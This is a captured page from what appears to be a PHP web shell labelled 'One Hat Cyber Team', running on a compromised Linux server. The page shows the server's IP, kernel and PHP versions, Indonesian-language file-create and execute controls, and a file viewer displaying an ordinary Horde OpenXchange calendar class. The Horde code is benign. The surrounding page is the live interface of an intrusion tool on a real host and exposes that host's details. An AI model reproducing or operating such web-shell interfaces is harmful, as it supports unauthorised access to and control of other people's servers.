⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.89
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
OpenXchange
/
View File Name :
Events.php
* @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package OpenXchange */ /** * Horde_OpenXchange_Events is the interface class for the events storage * of an Open-Xchange server. * * @author Jan Schneider
* @category Horde * @copyright 2014-2017 Horde LLC * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package OpenXchange */ class Horde_OpenXchange_Events extends Horde_OpenXchange_EventsAndTasks { /** * The folder category. * * @var string */ protected $_folderType = 'calendar'; /** * Constructor. * * @param array $params List of optional parameters: * - client: (Horde_Http_Client) An HTTP client. * - endpoint: (string) The URI of the OX API * endpoint. * - user: (string) Authentication user. * - password: (string) Authentication password. */ public function __construct(array $params = array()) { parent::__construct($params); $this->_columns += array( 206 => 'recur_id', 207 => 'recur_position', 210 => 'recur_change_exceptions', 211 => 'recur_delete_exceptions', 224 => 'organizer', 225 => 'sequence', 226 => 'confirmations', 400 => 'location', 401 => 'allday', 402 => 'status', 408 => 'timezone', ); } /** * Returns a list events. * * @param integer $folder A folder ID. If empty, returns events of all * visible calendars. * @param Horde_Date $start Start date, defaults to epoch. * @param Horde_Date $end End date, defaults to maximum date possible. * * @return array List of event hashes. * @throws Horde_OpenXchange_Exception. */ public function listEvents($folder = null, $start = null, $end = null) { return $this->_listObjects($folder, $start, $end); } /** * Returns an event. * * @param integer $folder A folder ID. * @param integer $id An event ID. * * @return array The event hash. * @throws Horde_OpenXchange_Exception. */ public function getEvent($folder, $id) { return $this->_getObject($folder, $id); } }